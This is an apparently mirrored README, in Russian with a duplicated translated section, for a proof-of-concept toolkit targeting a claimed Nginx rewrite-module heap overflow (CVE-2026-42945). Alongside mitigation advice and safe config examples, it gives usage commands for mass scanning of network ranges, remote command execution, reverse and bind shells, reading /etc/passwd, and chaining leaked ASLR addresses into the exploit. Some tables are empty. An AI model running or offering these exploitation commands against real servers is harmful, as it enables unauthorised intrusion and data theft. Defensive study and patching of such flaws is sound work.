## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LIAOZIQI-GZFLS-CVE-2026-42945
# CVE-2026-42945 Nginx Rift - PoC-инструментарий
Комплексный proof-of-concept инструментарий для **CVE-2026-42945** (Nginx Rift) — критической уязвимости переполнения буфера в куче в модуле `ngx_http_rewrite_module` сервера Nginx.
* * *
## Сводка по уязвимости
Поле| Сведения
---|---
**Идентификатор CVE**| CVE-2026-42945
**Название**| Nginx Rift
**Тип**| Переполнение буфера в куче
**Компонент**| `ngx_http_rewrite_module`
**Критичность**| Критическая (CVSS 9.2)
**Затронутые версии**| Nginx 0.6.27 - 1.30.0
**Исправлено в**| Nginx 1.30.1 / 1.31.0
### Первопричина
Уязвимость возникает из-за неверного расчёта размера между двумя внутренними проходами при обработке правил rewrite. Если в конфигурации используются:
* **Неименованные regex-захваты** (`$1`, `$2` и т.д.)
* **В сочетании со строкой замены, содержащей`?`**
Nginx неверно вычисляет требуемый размер буфера на первом проходе и на втором проходе записывает данные за пределы выделенного буфера в куче.
### Пример уязвимой конфигурации
root@kitploit:~
server {
# VULNERABLE: Unnamed capture ($1) + '?' in replacement
location /api/ {
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
}
}
### Безопасная конфигурация (исправленная)
root@kitploit:~
server {
# SAFE: Named capture (?P<path>) replaces $1
location /api/ {
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
}
}
* * *
## Компоненты инструментария
### 1\. `nginx_rift_poc.py` \- основной PoC-инструмент
Сканер уязвимостей и инструмент эксплуатации для одной цели.
**Возможности:**
* Определение версии Nginx из заголовка `Server`
* Проверка, входит ли версия в уязвимый диапазон
* Отправка специально сформированных HTTP-нагрузок (payload) для запуска переполнения кучи
* Генерация уязвимых/безопасных тестовых конфигураций
**Использование:**
root@kitploit:~
# Detect version and test vulnerability
python nginx_rift_poc.py -t target.example.com
# Test with custom payload
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"
# HTTPS target
python nginx_rift_poc.py -t target.example.com --ssl -p 443
# Generate vulnerable test configuration
python nginx_rift_poc.py --gen-vuln-config > vuln.conf
# Generate safe (patched) configuration
python nginx_rift_poc.py --gen-safe-config > safe.conf
### 2\. `nginx_rift_scanner.py` \- массовый сканер
Пакетный сканер для одновременной проверки нескольких целей.
**Возможности:**
* Многопоточное сканирование (по умолчанию 50 потоков)
* Список целей из файла или CIDR-диапазона сети
* Вывод в JSON для интеграции
* Автоматическое обнаружение SSL для порта 443
**Использование:**
root@kitploit:~
# Scan from target file (format: host:port per line)
python nginx_rift_scanner.py -f targets.txt -o results.json
# Scan single target
python nginx_rift_scanner.py -t example.com -p 443 --ssl
# Scan network range
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
# High-speed scan
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json
**Формат файла с целями:**
root@kitploit:~
# Comments start with #
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080
### 3\. `config_checker.py` \- анализатор конфигурации
Сканирует локальные файлы конфигурации Nginx на предмет уязвимых rewrite-шаблонов.
**Возможности:**
* Разбор `nginx.conf` и переход по директивам `include`
* Обнаружение неименованных захватов с `?` в строках замены
* Поддержка автоматического исправления (с резервной копией)
* Рекурсивное сканирование каталогов
**Использование:**
root@kitploit:~
# Scan single file
python config_checker.py /etc/nginx/nginx.conf
# Scan directory recursively
python config_checker.py -d /etc/nginx/conf.d/
# Auto-fix vulnerable patterns (creates .bak backup)
python config_checker.py --fix /etc/nginx/nginx.conf
# Auto-detect common Nginx paths
python config_checker.py
### 4\. `enhanced_poc.py` \- расширенный RCE PoC
Продвинутый инструмент эксплуатации, основанный на официальном исследовании depthfirst; поддерживает множество rewrite-шаблонов и режимов эксплуатации.
**Возможности:**
* Автоматическое обнаружение 8 распространённых уязвимых rewrite-шаблонов (`/api/`, `/redirect/`, `/user/` и т.д.)
* Поддержка нескольких символов-триггеров переполнения (`+`, `&`, `=`, `%`)
* Умная генерация payload с контролируемым размером переполнения
* Несколько режимов эксплуатации: `cmd` / `shell` / `bind` / `read`
* Собственные базовые адреса кучи/libc для сред с отключённым ASLR
* Динамическое построение тела spray с поддельной структурой `ngx_pool_cleanup_s`
**Использование:**
root@kitploit:~
# Auto-detect patterns and version
python enhanced_poc.py -t target.example.com --detect
# Execute command (ASLR off)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"
# Reverse shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
# Bind shell
python enhanced_poc.py -t target.example.com --bind --listen-port 5555
# Read remote file
python enhanced_poc.py -t target.example.com --read /etc/passwd
# Custom heap base (for ASLR-off targets)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000
# Use & as overflow trigger
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"
**Подробности о режимах эксплуатации:**
**Настройка адресов (только при отключённом ASLR):**
* `--heap-base`: базовый адрес кучи целевой системы (например, `0x555555559000`)
* `--libc-base`: базовый адрес libc (например, `0x7ffff77ba000`)
* `--system-addr`: прямой адрес `system()` (переопределяет libc-base)
### 5\. `aslr_leak_detector.py` \- детектор утечек ASLR
Комплексный сканер для обнаружения утечек информации, которые могут обойти защиту ASLR.
**Возможности:**
* Обнаружение утечек через HTTP-заголовки (Server, X-Powered-By и т.д.)
* Анализ страниц ошибок на наличие адресов памяти и стек-трейсов
* Проверка Nginx-специфичных конечных точек (`/nginx_status`, `/actuator/*` и т.д.)
* Обнаружение утечек адресов памяти (64-битные указатели, адреса кучи/libc/стека)
* Зондирование структуры кучи через анализ времени отклика
* Определение статуса ASLR (включён/выключен/слабый)
* Прямая интеграция с `enhanced_poc.py` через JSON-отчёт
**Использование:**
root@kitploit:~
# Scan single target
python aslr_leak_detector.py -t target.example.com
# Scan with SSL
python aslr_leak_detector.py -t target.example.com -p 443 --ssl
# Scan from file, save report
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json
# Scan network range
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
# Quick scan mode
python aslr_leak_detector.py -t target.example.com --quick
**Интеграция с расширенным PoC:**
root@kitploit:~
# Step 1: Detect leaks
python aslr_leak_detector.py -t target.example.com -o leak.json
# Step 2: Use leaked addresses for exploit
python enhanced_poc.py -t target.example.com \
--heap-base 0x555555559000 \
--libc-base 0x7ffff77ba000 \
--cmd "id"
* * *
## Индикаторы обнаружения уязвимости
PoC-инструмент определяет уязвимость по следующим индикаторам:
Индикатор| Описание
---|---
Разрыв соединения
* * *
## Установка
Внешние зависимости не требуются. Используется только стандартная библиотека Python.
root@kitploit:~
# Clone or download the toolkit
git clone <repository-url>
cd CVE-2026-42945
# Verify Python version (3.7+ recommended)
python3 --version
# Run any tool
python3 nginx_rift_poc.py --help
* * *
## Затронутые версии
* * *
## Меры по смягчению последствий
### Немедленные действия
1. **Обновите Nginx** до версии 1.30.1 (стабильной) или 1.31.0 (mainline)
2. **Проверьте конфигурации** на наличие уязвимых rewrite-шаблонов
3. **Включите ASLR** на всех хостах, где выполняются worker-процессы Nginx
### Временное решение через конфигурацию
Если немедленное обновление невозможно, замените неименованные захваты именованными:
root@kitploit:~
# BEFORE (VULNERABLE)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
# AFTER (SAFE)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
### Виртуальный патч на WAF
Разверните правила WAF для блокировки некорректных запросов, нацеленных на уязвимые rewrite-шаблоны.
* * *
## Отказ от ответственности
**Данный инструментарий предназначен только для авторизованного тестирования безопасности и исследовательских целей.**
* Используйте только в отношении систем, которыми вы владеете или на тестирование которых имеете явное разрешение
* Несанкционированный доступ к компьютерным системам противозаконен
* Авторы не несут ответственности за неправомерное использование или ущерб, причинённый данным инструментом
* Всегда тестируйте в изолированных средах перед использованием в продакшене
* * *
## Связанные CVE
Эта ошибка была обнаружена вместе с тремя другими проблемами повреждения памяти:
CVE| Описание| Критичность
---|---|---
CVE-2026-42946| Ошибка выделения памяти в SCGI/UWSGI| Высокая
CVE-2026-40701| Использование после освобождения (use-after-free) при DNS-разрешении для OCSP| Средняя
* * *
## Ссылки
* Консультация по безопасности F5
* Безопасность Nginx
* Сведения о CVE-2026-42945
* * *
## Лицензия
Данный проект предоставляется в образовательных целях и для авторизованного тестирования безопасности.
* * *
**Автор:** Security Research Team **Дата:** 2026-06-11
* * *
# Китайская документация
## Обзор уязвимости
**CVE-2026-42945** (Nginx Rift) — это уязвимость **переполнения буфера в куче** в модуле `ngx_http_rewrite_module` сервера Nginx, существующая с 2008 года (Nginx 0.6.27) и остававшаяся скрытой около 18 лет.
### Механизм уязвимости
При обработке правил rewrite Nginx выполняет два внутренних прохода. Если в конфигурации одновременно выполняются следующие два условия:
1. Используются **неименованные regex-захваты** (например, `$1`, `$2`)
2. Строка замены содержит символ **`?`**
Nginx неверно вычисляет размер буфера на первом проходе, а на втором проходе записывает данные за границы буфера в куче, что приводит к переполнению кучи.
### Пример уязвимой конфигурации
root@kitploit:~
server {
# 有漏洞:未命名捕获 $1 + 替换字符串中的 ?
location /api/ {
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
}
}
### Пример безопасной конфигурации (исправленной)
root@kitploit:~
server {
# 安全:使用命名捕获 (?P<name>) 替代 $1
location /api/ {
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
}
}
* * *
## Описание компонентов инструментария
### 1\. `nginx_rift_poc.py` — основной PoC-инструмент
Инструмент обнаружения и эксплуатации уязвимостей на одной цели.
**Возможности:**
* Определение версии Nginx из заголовка ответа `Server`
* Проверка, входит ли версия в уязвимый диапазон
* Отправка специально сформированных HTTP-запросов для запуска переполнения кучи
* Генерация уязвимых/безопасных конфигураций для тестирования
**Примеры использования:**
root@kitploit:~
# 检测版本并测试漏洞
python nginx_rift_poc.py -t target.example.com
# 使用自定义 Payload 测试
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"
# HTTPS 目标
python nginx_rift_poc.py -t target.example.com --ssl -p 443
# 生成脆弱测试配置
python nginx_rift_poc.py --gen-vuln-config > vuln.conf
# 生成安全(已修复)配置
python nginx_rift_poc.py --gen-safe-config > safe.conf
### 2\. `nginx_rift_scanner.py` — массовый сканер
Многопоточное одновременное сканирование нескольких целей.
**Возможности:**
* Многопоточное сканирование: по умолчанию 50 потоков
* Поддержка чтения целей из файла или CIDR-подсети
* Вывод результатов в формате JSON
* Автоматическое распознавание SSL-соединений на порту 443
**Примеры использования:**
root@kitploit:~
# 从目标文件扫描(格式:每行 host:port)
python nginx_rift_scanner.py -f targets.txt -o results.json
# 扫描单个目标
python nginx_rift_scanner.py -t example.com -p 443 --ssl
# 扫描整个网段
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
# 高速扫描(100线程)
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json
**Формат файла с целями:**
root@kitploit:~
# 井号开头的行为注释
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080
### 3\. `config_checker.py` — анализатор конфигурационных файлов
Сканирует локальные конфигурационные файлы Nginx на предмет уязвимых rewrite-шаблонов.
**Возможности:**
* Разбор `nginx.conf` и рекурсивный разбор файлов, подключаемых через `include`
* Обнаружение rewrite-директив, содержащих неименованные захваты + `?`
* Поддержка автоматического исправления (с автоматическим созданием резервной копии .bak)
* Рекурсивное сканирование каталогов
**Примеры использования:**
root@kitploit:~
# 扫描单个文件
python config_checker.py /etc/nginx/nginx.conf
# 递归扫描目录
python config_checker.py -d /etc/nginx/conf.d/
# 自动修复脆弱配置(自动备份原文件)
python config_checker.py --fix /etc/nginx/nginx.conf
# 自动探测常见 Nginx 配置路径
python config_checker.py
### 4\. `enhanced_poc.py` — расширенная версия RCE PoC
Продвинутый инструмент эксплуатации уязвимостей на основе официального исследования depthfirst; поддерживает множество rewrite-шаблонов и способов эксплуатации.
**Возможности:**
* Автоматическое обнаружение 8 распространённых уязвимых rewrite-шаблонов (`/api/`, `/redirect/`, `/user/` и т.д.)
* Поддержка нескольких символов-триггеров переполнения (`+`, `&`, `=`, `%`)
* Умная генерация payload с точным контролем размера переполнения
* Несколько режимов эксплуатации: `cmd` / `shell` / `bind` / `read`
* Задание собственных базовых адресов кучи/libc (для сред с отключённым ASLR)
* Динамическое построение тела spray с поддельной структурой `ngx_pool_cleanup_s`
**Таблица расширения символов-триггеров переполнения:**
**Примеры использования:**
root@kitploit:~
# 自动探测配置模式和版本
python enhanced_poc.py -t target.example.com --detect
# 执行命令(ASLR 关闭环境)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"
# 反弹 Shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
# 绑定 Shell(在目标上监听)
python enhanced_poc.py -t target.example.com --bind --listen-port 5555
# 读取远程文件
python enhanced_poc.py -t target.example.com --read /etc/passwd
# 自定义堆基址
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000
# 使用 & 作为溢出触发字符
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"
**Описание режимов эксплуатации:**
**Настройка адресов (только для среды с отключённым ASLR):**
* `--heap-base`: базовый адрес кучи целевой системы (например, `0x555555559000`)
* `--libc-base`: базовый адрес libc (например, `0x7ffff77ba000`)
* `--system-addr`: прямое указание адреса `system()`
### 5\. `aslr_leak_detector.py` — инструмент обнаружения утечек информации ASLR
Комплексный сканер, обнаруживающий утечки информации, которые можно использовать для обхода защиты ASLR.
**Возможности:**
* Обнаружение утечек через HTTP-заголовки ответа (Server, X-Powered-By и т.д.)
* Анализ страниц ошибок (адреса памяти, стек-трейсы)
* Проверка Nginx-специфичных конечных точек (`/nginx_status`, `/actuator/*` и т.д.)
* Обнаружение утечек адресов памяти (64-битные указатели, адреса кучи/libc/стека)
* Зондирование структуры кучи (оценка состояния памяти по различиям во времени отклика)
* Определение статуса ASLR (включён/выключен/слабый)
* Прямая интеграция с `enhanced_poc.py` через JSON-отчёт
**Примеры использования:**
root@kitploit:~
# 扫描单个目标
python aslr_leak_detector.py -t target.example.com
# SSL 扫描
python aslr_leak_detector.py -t target.example.com -p 443 --ssl
# 从文件批量扫描并保存报告
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json
# 扫描网段
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
# 快速扫描
python aslr_leak_detector.py -t target.example.com --quick
**Совместное использование с расширенной версией PoC:**
root@kitploit:~
# 步骤 1:检测信息泄露
python aslr_leak_detector.py -t target.example.com -o leak.json
# 步骤 2:使用泄露的地址进行利用
python enhanced_poc.py -t target.example.com \
--heap-base 0x555555559000 \
--libc-base 0x7ffff77ba000 \
--cmd "id"
* * *
## Индикаторы обнаружения уязвимости
PoC-инструмент определяет наличие уязвимости на целевой системе по следующим признакам:
Индикатор| Описание
---|---
* * *
## Установка
Устанавливать сторонние зависимости не требуется — для работы достаточно стандартной библиотеки Python.
root@kitploit:~
# 克隆或下载工具包
git clone <repository-url>
cd CVE-2026-42945
# 验证 Python 版本(推荐 3.7+)
python3 --version
# 查看工具帮助
python3 nginx_rift_poc.py --help
* * *
## Затронутые версии
* * *
## Меры по смягчению последствий
### Рекомендации по экстренным мерам
1. **Немедленно обновите Nginx** до версии 1.30.1 (стабильная) или 1.31.0 (mainline)
2. **Проверьте конфигурационные файлы** на наличие уязвимых rewrite-шаблонов
3. **Включите ASLR** (рандомизацию адресного пространства), чтобы затруднить эксплуатацию RCE
### Временные меры по смягчению (если невозможно немедленное обновление)
Замените неименованные захваты именованными:
root@kitploit:~
# 修改前(有漏洞)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
# 修改后(安全)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
### Виртуальный патч WAF
Разверните правила межсетевого экрана веб-приложений (WAF) для блокировки вредоносных запросов, нацеленных на уязвимые rewrite-шаблоны.
* * *
## Отказ от ответственности
**Данный инструментарий предназначен только для авторизованного тестирования безопасности и исследовательских целей.**
* Используйте инструмент только в отношении систем, которыми вы владеете или на которые получили явное разрешение
* Несанкционированный доступ к компьютерным системам является правонарушением
* Авторы не несут ответственности за злоупотребление инструментом или причинённый им ущерб
* Всегда тестируйте в изолированной среде перед применением в продакшене
* * *
## Связанные уязвимости
Эта уязвимость — одна из серии проблем повреждения памяти, обнаруженных системой статического анализа на основе ИИ от depthfirst:
Идентификатор CVE| Описание| Критичность
---|---|---
CVE-2026-42946| Ошибка выделения памяти в SCGI/UWSGI| Высокая
CVE-2026-40701| UAF при DNS-разрешении для OCSP| Средняя
CVE-2026-42934| Выход за границы при чтении в разборе UTF-8
* * *
## Справочные ссылки
* Консультация по безопасности F5
* Бюллетень безопасности Nginx
* Сведения о CVE-2026-42945
* Технический анализ SonicWall
* Исследовательский отчёт Cloud Security Alliance
* * *
## Лицензия с открытым исходным кодом
Данный проект предназначен только для образовательных целей и авторизованного тестирования безопасности.
* * *
**Автор:** Security Research Team **Дата:** 2026-06-11